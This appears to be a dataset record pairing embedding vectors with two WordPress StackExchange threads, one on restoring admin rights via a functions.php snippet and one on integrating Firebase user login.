-0.0161590576171875, 0.0179290771484375, -0.0117950439453125, -0.016143798828125, -0.016937255859375, 0.008514404296875, -0.0272216796875, 0.00299072265625, 0.01136016845703125, -0.0129241943359375, -0.005611419677734375, -0.0200042724609375, 0.033355712890625, -0.04095458984375, -0.01491546630859375, 0.0036220550537109375, 0.018280029296875, 0.00576019287109375, 0.06976318359375, -0.025848388671875, 0.01251983642578125, 0.0290374755859375, 0.007724761962890625, 0.0218658447265625, -0.02838134765625, 0.004642486572265625, -0.0018854141235351562, -0.034271240234375, 0.007904052734375, -0.00782012939453125, -0.0161895751953125, -0.01279449462890625, 0.0009632110595703125, 0.07904052734375, -0.04345703125, -0.004619598388671875, 0.031768798828125, 0.0081939697265625, -0.0189208984375, -0.02264404296875, 0.028961181640625, -0.01074981689453125, 0.037872314453125, 0.0017528533935546875, 0.032073974609375, -0.02294921875, -0.03350830078125, -0.0119476318359375, 0.0125579833984375, -0.019073486328125, -0.0220947265625, 0.038665771484375, 0.00890350341796875, -0.0312347412109375, -0.00505828857421875, -0.015167236328125, 0.0258941650390625, 0.0143890380859375, 0.0026397705078125, -0.04388427734375, -0.01204681396484375, -0.014923095703125, 0.056396484375, 0.0217437744140625, -0.00853729248046875, -0.037567138671875, -0.0156402587890625, 0.04150390625, 0.03643798828125, 0.018341064453125, 0.033843994140625, -0.011077880859375, 0.00913238525390625, 0.0180206298828125, -0.02056884765625, 0.0236968994140625, -0.005924224853515625, -0.025146484375, 0.00846099853515625, 0.023345947265625, 0.01471710205078125, 0.058319091796875, 0.05828857421875, -0.0435791015625, 0.03411865234375, 0.059661865234375, -0.04376220703125, -0.006092071533203125, 0.0567626953125, 0.0369873046875, -0.028594970703125, -0.04412841796875, -0.0219879150390625, 0.03350830078125, -0.0017652511596679688, 0.03271484375, -0.022674560546875, 0.0164337158203125, 0.022918701171875, -0.00830841064453125, 0.000858306884765625, 0.051483154296875, -0.033172607421875, 0.038238525390625, 0.01611328125, 0.0274658203125, -0.037322998046875, -0.0280609130859375, -0.0142669677734375, 0.036468505859375, -0.0176544189453125, -0.03814697265625, 0.0214996337890625, 0.005474090576171875, 0.00624847412109375, 0.00212860107421875, 0.03680419921875, -0.0626220703125, -0.0284423828125, -0.0511474609375, 0.003955841064453125, 0.044342041015625, 0.003711700439453125, 0.006626129150390625, 0.020599365234375, -0.03350830078125, -0.00933074951171875, -0.0193328857421875, 0.0007276535034179688, 0.027130126953125, 0.02056884765625, -0.00452423095703125, 0.049835205078125, -0.00948333740234375, -0.005535125732421875, -0.00342559814453125, 0.0258026123046875, 0.05126953125, -0.0254058837890625, 0.0535888671875, 0.021240234375, 0.01242828369140625, -0.0106201171875, -0.0013513565063476562, 0.0160980224609375, 0.0301666259765625, 0.00962066650390625, -0.038482666015625, -0.01552581787109375, 0.01100921630859375, -0.031951904296875, -0.0304412841796875, -0.037322998046875, 0.0149078369140625, 0.058349609375, 0.01149749755859375, 0.0171966552734375, -0.0192718505859375, 0.07269287109375, -0.0594482421875, 0.06689453125, -0.0123291015625, -0.00042176246643066406, 0.051361083984375, -0.005214691162109375, 0.0384521484375, -0.028533935546875, -0.056915283203125, -0.0080718994140625, -0.0199432373046875, 0.010223388671875, -0.0086212158203125, 0.0138397216796875, -0.01800537109375, 0.05731201171875, 0.0189056396484375, -0.0298309326171875, 0.01464080810546875, -0.005298614501953125, 0.033905029296875, -0.00995635986328125, -0.01053619384765625, -0.005706787109375, -0.091796875, -0.06329345703125, -0.040313720703125, 0.039794921875, -0.00545501708984375, 0.08758544921875, -0.01197052001953125, 0.00264739990234375, -0.056427001953125, -0.017333984375, -0.012786865234375, -0.016693115234375, -0.004322052001953125, 0.05499267578125, -0.0186004638671875, -0.0224761962890625, -0.033355712890625, 0.026458740234375, 0.0251007080078125, 0.0035724639892578125, 0.017181396484375, -0.01116180419921875, 0.0192108154296875, -0.015899658203125, -0.0251922607421875, -0.0479736328125, -0.021026611328125, -0.0247039794921875, 0.00028204917907714844, -0.01233673095703125, -0.0196990966796875, -0.0076141357421875, 0.0257568359375, 0.019866943359375, -0.00838470458984375, 0.0335693359375, -0.0287017822265625, 0.072509765625, 0.0301055908203125, -0.0253753662109375, 0.007518768310546875, -0.0107574462890625, -0.027801513671875, -0.00928497314453125, 0.0189971923828125, -0.016998291015625, -0.004970550537109375, 0.048492431640625, 0.0122833251953125, 0.02435302734375, 0.03204345703125, 0.0020503997802734375, -0.007694244384765625, 0.04541015625, -0.029205322265625, -0.05145263671875, 0.004001617431640625, -0.0032176971435546875, -0.0347900390625, 0.006134033203125, 0.01117706298828125, 0.0011005401611328125, 0.00495147705078125, 0.003993988037109375, -0.01346588134765625, -0.0003936290740966797, -0.017974853515625, -0.0175018310546875, 0.005138397216796875, -0.0286407470703125, 0.0133209228515625, -0.0193023681640625, -0.0161285400390625, -0.006214141845703125, 0.0261688232421875, -0.00531768798828125, -0.03668212890625, -0.005924224853515625, 0.038116455078125, -0.00888824462890625, 0.0036411285400390625, -0.0108795166015625, -0.009185791015625, 0.0753173828125, 0.0201416015625, 0.043548583984375, 0.058837890625, -0.02142333984375, 0.0178680419921875, 0.0265960693359375, 0.03363037109375, -0.04241943359375, -0.1094970703125, -0.005352020263671875, -0.026092529296875, 0.0238189697265625, 0.0029449462890625, -0.00797271728515625, 0.01026153564453125, -0.0301971435546875, -0.049896240234375, 0.0253143310546875, 0.00708770751953125, -0.0238494873046875, -0.0214080810546875, -0.00864410400390625, 0.0218963623046875, -0.04534912109375, -0.0279998779296875, 0.005817413330078125, -0.031097412109375, 0.018157958984375, 0.01331329345703125, 0.0268707275390625, 0.0033435821533203125, 0.01163482666015625, -0.11053466796875, 0.0036182403564453125, -0.0290374755859375, 0.0205841064453125, -0.05328369140625, 0.034423828125, -0.0228729248046875, 0.0023212432861328125, -0.046356201171875, 0.00914764404296875, 0.0135955810546875, 0.07275390625, -0.0116729736328125, -0.01119232177734375, 0.0007476806640625, 0.01508331298828125, 0.05279541015625, 0.046417236328125, 0.0000019669532775878906, -0.040283203125, -0.0154876708984375, -0.017852783203125, -0.011627197265625, -0.00940704345703125, -0.002826690673828125, -0.032196044921875, 0.0025920867919921875, -0.0200958251953125, 0.0271759033203125, 0.038787841796875, -0.062103271484375, 0.00843048095703125, -0.022186279296875, -0.00390625, 0.0139007568359375, -0.0252838134765625, 0.0028095245361328125, 0.034027099609375, -0.0136260986328125, 0.03033447265625, 0.004619598388671875, 0.013671875, 0.03265380859375, 0.046234130859375, -0.01708984375, -0.0254058837890625, -0.00760650634765625, 0.0282135009765625, -0.01172637939453125, 0.019195556640625, -0.033050537109375, -0.0028629302978515625, -0.036712646484375, 0.00508880615234375, 0.01102447509765625, 0.016693115234375, 0.00510406494140625, -0.0026760101318359375, 0.0159454345703125, -0.0019283294677734375, -0.002658843994140625, 0.0238494873046875, -0.010406494140625, 0.0241241455078125, -0.00504302978515625, -0.0127105712890625, 0.032501220703125, -0.0259246826171875, -0.0029087066650390625, -0.00817108154296875, 0.0086212158203125, -0.078857421875, 0.07843017578125, 0.0157012939453125, 0.01328277587890625, 0.04559326171875 ]
6e4e1cf0e791cc3280aedda63f5ecaa7254c12b0
Wordpress Stackexchange Q: "You need a higher level of permission" after admin changing. Why? I can't edit my website, when I try to edit, I see the page with the message: You need a higher level of permission. Sorry, you are not allowed to customize this site. It was started when I create a new super admin user and delete an old user with ID_1 (which was created when WordPress is installed). Now I have a super admin user but can't edit the website. I tried deactivating all plugins, but it does not help. How to fix it? A: Try to give yourself admin rights programmatically by placing this snippet in your functions.php. add_action('init', function(){ // use your user id $user = get_user_by( 'id', $yourUserId); // Give yourself the admin role $user->add_role( 'administrator' ); });
Q: "You need a higher level of permission" after admin changing. Why? I can't edit my website, when I try to edit, I see the page with the message: You need a higher level of permission. Sorry, you are not allowed to customize this site. It was started when I create a new super admin user and delete an old user with ID_1 (which was created when WordPress is installed). Now I have a super admin user but can't edit the website. I tried deactivating all plugins, but it does not help. How to fix it? A: Try to give yourself admin rights programmatically by placing this snippet in your functions.php. add_action('init', function(){ // use your user id $user = get_user_by( 'id', $yourUserId); // Give yourself the admin role $user->add_role( 'administrator' ); });
wordpress
{ "language": "en", "length": 133, "provenance": "stackexchange_00019.jsonl.gz:487104", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/306673" }
[ 0.060760498046875, -0.0027923583984375, 0.005313873291015625, -0.027435302734375, 0.00794219970703125, -0.0272369384765625, 0.0277099609375, -0.0279388427734375, 0.0213165283203125, 0.006999969482421875, -0.00612640380859375, -0.017608642578125, -0.007354736328125, -0.036590576171875, -0.006275177001953125, -0.02618408203125, 0.020782470703125, -0.01450347900390625, -0.012298583984375, -0.026519775390625, -0.00759124755859375, -0.022247314453125, 0.00501251220703125, 0.0675048828125, -0.005931854248046875, 0.01302337646484375, 0.02581787109375, -0.014434814453125, -0.019500732421875, -0.02294921875, 0.003459930419921875, 0.0200042724609375, 0.0101470947265625, 0.017303466796875, -0.00945281982421875, -0.032318115234375, 0.01910400390625, -0.0106353759765625, 0.00681304931640625, 0.0094757080078125, 0.00896453857421875, 0.01422882080078125, 0.0233612060546875, 0.04656982421875, -0.0019855499267578125, -0.06951904296875, 0.0404052734375, -0.039459228515625, 0.00046706199645996094, -0.01354217529296875, -0.005153656005859375, -0.0298004150390625, 0.006526947021484375, -0.0193023681640625, 0.0004267692565917969, -0.0169677734375, 0.03924560546875, -0.0217437744140625, 0.0328369140625, -0.03466796875, -0.04266357421875, -0.01409912109375, 0.03192138671875, 0.01525115966796875, -0.00975799560546875, -0.00662994384765625, 0.029052734375, 0.00133514404296875, -0.0643310546875, -0.017822265625, 0.04852294921875, -0.0322265625, 0.01513671875, 0.01837158203125, 0.007648468017578125, -0.01451873779296875, 0.0074462890625, 0.0264739990234375, 0.03570556640625, 0.00562286376953125, 0.051300048828125, -0.0012493133544921875, -0.00408935546875, -0.0020732879638671875, 0.0187835693359375, 0.006084442138671875, 0.00959014892578125, -0.031646728515625, -0.0047607421875, 0.0222625732421875, -0.01201629638671875, -0.0207366943359375, 0.027069091796875, 0.04302978515625, -0.0160369873046875, 0.00276947021484375, 0.031982421875, 0.043731689453125, 0.0047607421875, 0.01019287109375, -0.0231475830078125, -0.03912353515625, 0.0043487548828125, -0.042449951171875, -0.00629425048828125, -0.005008697509765625, -0.00662994384765625, -0.01128387451171875, 0.0232086181640625, 0.037109375, -0.022674560546875, 0.005645751953125, -0.01486968994140625, -0.03564453125, -0.0038433074951171875, 0.00960540771484375, -0.0295257568359375, 0.0089111328125, 0.00453948974609375, 0.004852294921875, -0.016632080078125, 0.02655029296875, -0.034332275390625, -0.04632568359375, 0.01453399658203125, -0.0179901123046875, -0.0045013427734375, 0.004608154296875, 0.00965118408203125, 0.0032825469970703125, -0.0312042236328125, 0.0163116455078125, 0.060394287109375, 0.029693603515625, -0.0017385482788085938, -0.0081634521484375, -0.0029296875, -0.004589080810546875, -0.027130126953125, 0.0225830078125, -0.0023250579833984375, -0.0018472671508789062, 0.01490020751953125, -0.039947509765625, -0.003803253173828125, 0.039703369140625, 0.01216888427734375, 0.01210784912109375, 0.0112457275390625, -0.07769775390625, 0.037445068359375, -0.0304107666015625, 0.00980377197265625, 0.02783203125, 0.0133209228515625, -0.0258636474609375, 0.056243896484375, -0.05841064453125, 0.0194854736328125, -0.04937744140625, 0.01432037353515625, 0.00984954833984375, 0.053466796875, -0.0192718505859375, -0.0204010009765625, -0.02239990234375, -0.095458984375, -0.02294921875, 0.0225372314453125, -0.05816650390625, 0.0921630859375, 0.0080108642578125, 0.0264892578125, 0.018646240234375, 0.033233642578125, 0.00637054443359375, -0.01435089111328125, 0.0217437744140625, 0.0112762451171875, 0.03472900390625, 0.0198516845703125, -0.0298309326171875, 0.0506591796875, 0.00455474853515625, -0.043670654296875, -0.00344085693359375, 0.00959014892578125, 0.03314208984375, 0.0355224609375, 0.0166168212890625, 0.0208892822265625, -0.01461029052734375, -0.0052337646484375, 0.031768798828125, -0.0237884521484375, -0.0297088623046875, 0.0025386810302734375, 0.02789306640625, -0.03436279296875, -0.027496337890625, -0.000873565673828125, 0.00836181640625, -0.031158447265625, 0.019744873046875, -0.05242919921875, -0.01068115234375, -0.0246429443359375, 0.010894775390625, 0.053192138671875, 0.023895263671875, -0.0172271728515625, 0.007579803466796875, -0.009552001953125, -0.052520751953125, -0.060821533203125, 0.013580322265625, -0.0268096923828125, 0.05645751953125, -0.005512237548828125, 0.031158447265625, 0.00498199462890625, -0.06121826171875, 0.0201873779296875, -0.006275177001953125, 0.044342041015625, 0.005916595458984375, -0.0222930908203125, -0.0008730888366699219, 0.03179931640625, 0.01922607421875, -0.0261077880859375, 0.021026611328125, 0.03594970703125, 0.00150299072265625, -0.0275726318359375, -0.016571044921875, -0.02581787109375, -0.1033935546875, -0.006580352783203125, 0.07220458984375, 0.02386474609375, 0.0300750732421875, 0.002227783203125, 0.027435302734375, 0.039276123046875, -0.0687255859375, -0.0075225830078125, 0.014312744140625, -0.006122589111328125, 0.03094482421875, 0.0088348388671875, -0.01346588134765625, 0.0174560546875, -0.0172882080078125, -0.017486572265625, 0.0286407470703125, -0.0264739990234375, 0.0008730888366699219, -0.03033447265625, 0.0074462890625, 0.0021038055419921875, -0.053985595703125, -0.018341064453125, -0.03765869140625, -0.0175628662109375, 0.011871337890625, -0.00044918060302734375, 0.00502777099609375, -0.01041412353515625, 0.0047149658203125, 0.018341064453125, -0.0280914306640625, 0.0065765380859375, -0.01413726806640625, -0.02032470703125, 0.0124359130859375, -0.00011307001113891602, 0.01204681396484375, 0.006351470947265625, -0.0289764404296875, -0.0245819091796875, 0.0026493072509765625, -0.0231475830078125, -0.01519012451171875, 0.006580352783203125, -0.0364990234375, 0.000579833984375, -0.0137176513671875, 0.025360107421875, -0.020355224609375, 0.03839111328125, -0.0350341796875, -0.055084228515625, 0.049591064453125, -0.050933837890625, -0.057708740234375, 0.0272979736328125, -0.01983642578125, 0.023590087890625, -0.00916290283203125, 0.037200927734375, 0.061981201171875, -0.0247650146484375, 0.01324462890625, 0.01404571533203125, -0.021484375, 0.02215576171875, 0.02740478515625, 0.0233306884765625, -0.0214080810546875, -0.01015472412109375, 0.01326751708984375, 0.04010009765625, 0.0288848876953125, 0.02313232421875, -0.00675201416015625, -0.0200653076171875, 0.0469970703125, -0.033843994140625, -0.021453857421875, -0.051605224609375, -0.055908203125, 0.019378662109375, -0.0018072128295898438, -0.00579071044921875, -0.0091094970703125, 0.015228271484375, 0.0160064697265625, 0.006237030029296875, -0.01806640625, 0.0245513916015625, -0.018646240234375, -0.0287628173828125, -0.047576904296875, 0.0202484130859375, -0.00536346435546875, -0.018707275390625, 0.032867431640625, -0.032623291015625, -0.083740234375, -0.06573486328125, -0.005985260009765625, 0.004871368408203125, -0.0162506103515625, -0.01220703125, -0.03204345703125, 0.0390625, -0.00948333740234375, 0.018524169921875, -0.00716400146484375, 0.0166778564453125, -0.03314208984375, -0.0254364013671875, -0.03265380859375, 0.0006079673767089844, -0.00946807861328125, 0.016754150390625, -0.00974273681640625, -0.00022125244140625, -0.041168212890625, -0.019683837890625, 0.005702972412109375, -0.0299835205078125, 0.039337158203125, 0.0134124755859375, -0.022125244140625, 0.01482391357421875, 0.010223388671875, -0.0009517669677734375, 0.02386474609375, -0.0133819580078125, 0.01358795166015625, -0.004215240478515625, -0.0167999267578125, -0.024383544921875, 0.0148162841796875, 0.0255126953125, -0.027435302734375, -0.0171356201171875, 0.0012445449829101562, -0.00467681884765625, 0.0013685226440429688, -0.0048065185546875, -0.01146697998046875, -0.066650390625, 0.039947509765625, -0.058074951171875, 0.028228759765625, -0.062255859375, -0.0150146484375, -0.002887725830078125, 0.10943603515625, -0.007251739501953125, 0.0016431808471679688, -0.01026153564453125, -0.01183319091796875, -0.0247650146484375, 0.00653076171875, -0.060546875, -0.0029430389404296875, -0.0258941650390625, 0.00536346435546875, 0.0006947517395019531, -0.0030727386474609375, -0.04193115234375, 0.04779052734375, -0.0169677734375, -0.004611968994140625, 0.0213775634765625, -0.04718017578125, -0.00794219970703125, 0.0222320556640625, -0.015411376953125, -0.02294921875, -0.01580810546875, -0.0241546630859375, -0.1314697265625, -0.013580322265625, -0.0208740234375, 0.0557861328125, -0.00872802734375, 0.01149749755859375, -0.06439208984375, 0.031463623046875, -0.003017425537109375, 0.01409912109375, -0.035552978515625, 0.0086822509765625, -0.0141448974609375, -0.0127105712890625, -0.0290374755859375, -0.019287109375, -0.027069091796875, -0.024505615234375, -0.0171051025390625, -0.006622314453125, -0.015106201171875, -0.0032100677490234375, 0.0010509490966796875, -0.006328582763671875, -0.07098388671875, -0.0244293212890625, -0.05035400390625, -0.0003745555877685547, -0.03033447265625, 0.01287841796875, -0.029571533203125, -0.08905029296875, 0.0223236083984375, -0.038299560546875, -0.0040283203125, 0.006683349609375, 0.06573486328125, 0.019195556640625, 0.0013799667358398438, -0.0066680908203125, 0.0186614990234375, 0.03631591796875, 0.0001595020294189453, 0.0250701904296875, 0.0321044921875, -0.00031948089599609375, 0.0010690689086914062, 0.016357421875, 0.01241302490234375, -0.0144805908203125, 0.0262908935546875, 0.0034465789794921875, -0.028717041015625, 0.0267333984375, -0.0007314682006835938, -0.00363922119140625, -0.0265655517578125, -0.004924774169921875, 0.0117034912109375, 0.005908966064453125, 0.00592041015625, 0.006252288818359375, 0.014129638671875, -0.0014104843139648438, -0.0482177734375, 0.0313720703125, -0.06256103515625, -0.01611328125, -0.0194549560546875, 0.01320648193359375, -0.0240631103515625, -0.025421142578125, 0.00670623779296875, -0.04638671875, -0.0152130126953125, -0.058837890625, 0.01554107666015625, -0.039886474609375, -0.0242156982421875, -0.016845703125, -0.01519775390625, 0.08642578125, 0.0299072265625, -0.062408447265625, 0.031494140625, 0.0026950836181640625, 0.00464630126953125, 0.00469207763671875, 0.0239105224609375, -0.0019626617431640625, 0.005245208740234375, -0.00988006591796875, -0.0084381103515625, 0.051361083984375, -0.0289764404296875, -0.0238037109375, 0.006786346435546875, 0.0146026611328125, -0.00604248046875, 0.028656005859375, 0.03515625, 0.0611572265625, -0.00315093994140625, -0.042449951171875, 0.032806396484375, 0.0200347900390625, -0.003917694091796875, -0.0077667236328125, 0.057342529296875, 0.01629638671875, -0.050140380859375, 0.037384033203125, -0.0280914306640625, 0.0160064697265625, 0.039306640625, 0.033538818359375, 0.030975341796875, -0.024078369140625, -0.013519287109375, -0.0263671875, -0.0148773193359375, 0.045623779296875, 0.02008056640625, -0.0457763671875, -0.006237030029296875, 0.006565093994140625, 0.01337432861328125, -0.0400390625, 0.022125244140625, 0.0170440673828125, 0.004482269287109375, 0.0164337158203125, -0.0185699462890625, 0.0159149169921875, -0.045440673828125, -0.038726806640625, -0.0118560791015625, -0.01629638671875, -0.00959014892578125, -0.042388916015625, -0.049163818359375, -0.0033168792724609375, -0.0003268718719482422, 0.0615234375, 0.0004525184631347656, 0.020477294921875, -0.01446533203125, -0.00522613525390625, -0.0036945343017578125, 0.006389617919921875, 0.0170135498046875, -0.0180206298828125, -0.0841064453125, 0.0018062591552734375, -0.0609130859375, -0.0214691162109375, -0.0452880859375, -0.010528564453125, -0.07177734375, 0.033447265625, -0.002056121826171875, 0.0203094482421875, 0.001407623291015625, 0.021392822265625, -0.0369873046875, 0.057830810546875, 0.0224151611328125, 0.10272216796875, -0.0158233642578125, 0.04052734375, -0.0225372314453125, -0.00440216064453125, 0.019012451171875, 0.01629638671875, -0.00473785400390625, -0.00998687744140625, 0.0140838623046875, 0.003948211669921875, -0.028106689453125, -0.0220184326171875, -0.0171356201171875, -0.01523590087890625, 0.047119140625, -0.0209503173828125, 0.02703857421875, -0.031219482421875, 0.0166778564453125, -0.0135650634765625, -0.00667572021484375, -0.06170654296875, -0.016845703125, 0.0074310302734375, -0.038604736328125, 0.044189453125, 0.00251007080078125, -0.0240936279296875, 0.029052734375, -0.0293426513671875, 0.0235137939453125, 0.069580078125, -0.0301666259765625, -0.0036602020263671875, 0.0240020751953125, 0.01018524169921875, 0.0218963623046875, 0.0188751220703125, 0.01348114013671875, -0.0096588134765625, -0.0261993408203125, -0.007190704345703125, 0.016326904296875, 0.00208282470703125, -0.0150909423828125, 0.0025539398193359375, -0.01464080810546875, -0.00983428955078125, 0.0253448486328125, 0.1104736328125, 0.0830078125, -0.1396484375, -0.002681732177734375, -0.018585205078125, -0.01375579833984375, 0.05474853515625, -0.00830078125, -0.020843505859375, -0.10247802734375, 0.032562255859375, -0.033050537109375, -0.002254486083984375, -0.007106781005859375, -0.026153564453125, -0.042083740234375, -0.0279541015625, 0.0189666748046875, 0.0207977294921875, 0.068115234375, 0.01995849609375, -0.0679931640625, 0.043243408203125, 0.007297515869140625, 0.01389312744140625, -0.006336212158203125, -0.06292724609375, -0.0687255859375, -0.0277099609375, 0.01071929931640625, -0.04296875, -0.01378631591796875, -0.0089569091796875, 0.01303863525390625, 0.03143310546875, -0.0172271728515625, 0.011260986328125, 0.009735107421875, 0.010589599609375, 0.035736083984375, -0.0438232421875, 0.0178680419921875, 0.0257110595703125, -0.06622314453125, 0.01690673828125, 0.0070648193359375, -0.0218048095703125, -0.031463623046875, -0.0219879150390625, 0.05535888671875, -0.0012493133544921875, -0.0276641845703125, 0.040191650390625, 0.0252227783203125, -0.03619384765625, 0.0032138824462890625, 0.0010709762573242188, -0.035308837890625, 0.006099700927734375, -0.006717681884765625, 0.007343292236328125, 0.0296478271484375, 0.0247344970703125, -0.0200653076171875, 0.047210693359375, -0.0032806396484375, -0.0159454345703125, 0.050140380859375, 0.01386260986328125, -0.059967041015625, -0.0163726806640625, -0.0024852752685546875, 0.01398468017578125, -0.01528167724609375, 0.02130126953125, -0.06640625, -0.0103759765625, -0.0180206298828125, 0.05841064453125, 0.07196044921875, 0.0286407470703125, -0.031341552734375, -0.00662994384765625, 0.0185089111328125, 0.01190948486328125, -0.036895751953125, 0.06549072265625, -0.03912353515625, 0.0264892578125, -0.00673675537109375, -0.03155517578125, 0.032073974609375, -0.032867431640625, -0.06591796875, -0.0160064697265625, -0.00438690185546875, -0.048980712890625, 0.01222991943359375, 0.0259552001953125, -0.07037353515625, 0.007152557373046875, 0.021270751953125, 0.01428985595703125, -0.0022373199462890625, 0.0093841552734375, 0.02532958984375, -0.0107269287109375, -0.00250244140625, -0.02447509765625, 0.049407958984375, 0.0281524658203125, 0.0017061233520507812, -0.01715087890625, 0.011016845703125, -0.0283966064453125, 0.004047393798828125, -0.007236480712890625, 0.056182861328125, -0.032623291015625, 0.020050048828125, 0.0182037353515625, 0.017059326171875, -0.0194549560546875, 0.038604736328125, 0.0303497314453125, 0.0284576416015625, -0.0389404296875, -0.00927734375, -0.014801025390625, -0.01337432861328125, 0.0273590087890625, -0.0194091796875, 0.0379638671875, 0.07891845703125, 0.045928955078125, -0.046661376953125, -0.00440216064453125, 0.06396484375, 0.01220703125, 0.003818511962890625, -0.0063934326171875, -0.034759521484375, -0.0091094970703125, -0.01413726806640625, -0.027130126953125, -0.00028896331787109375, -0.00348663330078125, 0.0189666748046875, 0.0003771781921386719, 0.042816162109375, 0.01062774658203125, 0.01241302490234375, 0.021514892578125, -0.037689208984375, 0.007236480712890625, -0.0506591796875, -0.09613037109375, 0.018798828125, 0.047515869140625, -0.021209716796875, 0.0027256011962890625, 0.024444580078125, 0.0281524658203125, -0.0113983154296875, -0.0134124755859375, 0.0016880035400390625, -0.01517486572265625, -0.0063323974609375, -0.041961669921875, 0.01442718505859375, 0.00463104248046875, -0.0024814605712890625, 0.0047760009765625, 0.037933349609375, 0.011871337890625, 0.0009069442749023438, 0.0108489990234375, 0.004268646240234375, -0.0287933349609375, -0.01506805419921875, -0.0152587890625, 0.0362548828125, 0.0175933837890625, -0.0305938720703125, 0.0267486572265625, -0.0477294921875, -0.063232421875, -0.0011606216430664062, 0.02764892578125, -0.0251007080078125, 0.03643798828125, -0.05859375, -0.01381683349609375, 0.03369140625, 0.005039215087890625, -0.02630615234375, 0.052490234375, 0.02838134765625, -0.01312255859375, -0.01009368896484375, -0.017364501953125, 0.0009098052978515625, 0.045745849609375, 0.03192138671875, 0.029998779296875, -0.005126953125, 0.035491943359375, -0.01519775390625, 0.043304443359375, -0.0548095703125, -0.01605224609375, 0.0312042236328125, -0.0010251998901367188, 0.0160980224609375, -0.007904052734375, -0.07147216796875, 0.0830078125, -0.01318359375, 0.0032958984375, 0.05560302734375, 0.00970458984375, 0.0010786056518554688, 0.009765625, 0.0012617111206054688, -0.033294677734375, -0.038421630859375, -0.056915283203125, 0.00014925003051757812, 0.0302886962890625, -0.0175018310546875, -0.0562744140625, -0.0022735595703125, -0.01352691650390625, -0.03912353515625, 0.006938934326171875, -0.005443572998046875, -0.0107574462890625, 0.03521728515625, 0.0037631988525390625, -0.026885986328125, 0.034149169921875, -0.003875732421875, 0.0243072509765625, 0.0213470458984375, 0.0350341796875, 0.03814697265625, -0.00958251953125, -0.0213165283203125, 0.0017185211181640625, 0.0242919921875, 0.0017461776733398438, -0.0030002593994140625, -0.0167388916015625, -0.007289886474609375, -0.0196990966796875, -0.028472900390625, -0.0305938720703125, -0.06512451171875, 0.0088043212890625, 0.036865234375, -0.018798828125, -0.00814056396484375, -0.054107666015625, 0.053497314453125, 0.036163330078125, 0.046478271484375, -0.1434326171875, 0.092529296875, -0.01031494140625, 0.0936279296875, -0.0016937255859375, -0.019439697265625, 0.005950927734375, 0.0181884765625, -0.02105712890625, 0.01123046875, -0.035430908203125, -0.007694244384765625, 0.006656646728515625, 0.0262603759765625, 0.0196533203125, -0.0206146240234375, -0.00438690185546875, 0.0148773193359375, 0.00664520263671875, 0.0670166015625, 0.006954193115234375, -0.0118255615234375, -0.000579833984375, 0.007457733154296875, -0.0244140625, -0.0496826171875, 0.020782470703125, -0.05670166015625, -0.0142974853515625, 0.0128631591796875, 0.01087188720703125, 0.051422119140625, -0.00737762451171875, -0.040069580078125, -0.026702880859375, 0.0095977783203125, -0.0264129638671875, 0.0274505615234375, -0.0222625732421875, -0.029083251953125, 0.034576416015625, 0.0089263916015625, -0.0017604827880859375, -0.004634857177734375, 0.0153656005859375, 0.0230865478515625, -0.0206451416015625, 0.0209197998046875, 0.0241241455078125, -0.0478515625, 0.04266357421875, 0.0302276611328125, -0.007709503173828125, 0.0050811767578125, -0.0140533447265625, 0.0239715576171875, 0.04852294921875, -0.01497650146484375, -0.051727294921875, -0.0020923614501953125, -0.030059814453125, 0.0034313201904296875, -0.0250701904296875, -0.036956787109375, -0.0307464599609375, 0.0662841796875, 0.044921875, 0.032379150390625, -0.0214996337890625, 0.01262664794921875, -0.039031982421875, -0.0416259765625, 0.014068603515625, 0.03240966796875, -0.05804443359375, 0.00693511962890625, 0.03973388671875, -0.0103912353515625, 0.021209716796875, 0.0133819580078125, -0.0288238525390625, -0.0142822265625, -0.0120697021484375, -0.007598876953125, -0.08001708984375, -0.007236480712890625, 0.06915283203125, -0.048126220703125, -0.0210723876953125, 0.0049591064453125, 0.0150299072265625, 0.01291656494140625, -0.0181427001953125, -0.0080718994140625, -0.0193634033203125, -0.044342041015625, 0.0166015625, -0.029296875, 0.03778076171875, -0.03778076171875, -0.025390625, -0.00548553466796875, 0.0160675048828125, -0.004940032958984375, 0.016815185546875, 0.0019159317016601562, 0.05108642578125, 0.00554656982421875, 0.034637451171875, 0.0072479248046875, 0.056915283203125, -0.024688720703125, 0.05548095703125, 0.00396728515625, -0.024139404296875, 0.031524658203125, -0.04241943359375, 0.0236663818359375, 0.00916290283203125, 0.032379150390625, 0.0054168701171875, -0.0011043548583984375, 0.01256561279296875, -0.00893402099609375, 0.0009603500366210938 ]
ba747f9720ea3f1111c1b5c2dbad08eae665cc50
Wordpress Stackexchange Q: How can a Firebase user registration and login be integrated into a Wordpress site? We have an app that uses a Firebase database for users and they can register and log in using the app. I need a way to get this functionality in the website for the app but the website is a Wordpress site and currently has no "user" functionality (no registration, login, dashboard, etc.). I expected this would be a common use case and there would be a number of simple, widely used plugins to integrate it, but this is not the case. Does anyone have any experience they can share with how they integrated firebase into a wordpress site, or any advice on how to do it? Thanks for any help. A: WordPress itself provides you with a function called register_new_user() which can be used to create a user-account in your WP instance. You will have to write some kind of integration between your Firebase DB and WordPress but this function would probably be the way to go.
Q: How can a Firebase user registration and login be integrated into a Wordpress site? We have an app that uses a Firebase database for users and they can register and log in using the app. I need a way to get this functionality in the website for the app but the website is a Wordpress site and currently has no "user" functionality (no registration, login, dashboard, etc.). I expected this would be a common use case and there would be a number of simple, widely used plugins to integrate it, but this is not the case. Does anyone have any experience they can share with how they integrated firebase into a wordpress site, or any advice on how to do it? Thanks for any help. A: WordPress itself provides you with a function called register_new_user() which can be used to create a user-account in your WP instance. You will have to write some kind of integration between your Firebase DB and WordPress but this function would probably be the way to go. A: There is a documentation on how to log in to WordPress with a Firebase User. The idea is to have a system dominates the other, in this case, it's Firebase. When a user logs in through Firebase, it will also create another user in WordPress which allows you login to the WordPress dashboard. https://firebase-wordpress-docs.readthedocs.io/en/latest/wordpress-user-integration.html
wordpress
{ "language": "en", "length": 228, "provenance": "stackexchange_00019.jsonl.gz:487426", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/307757" }
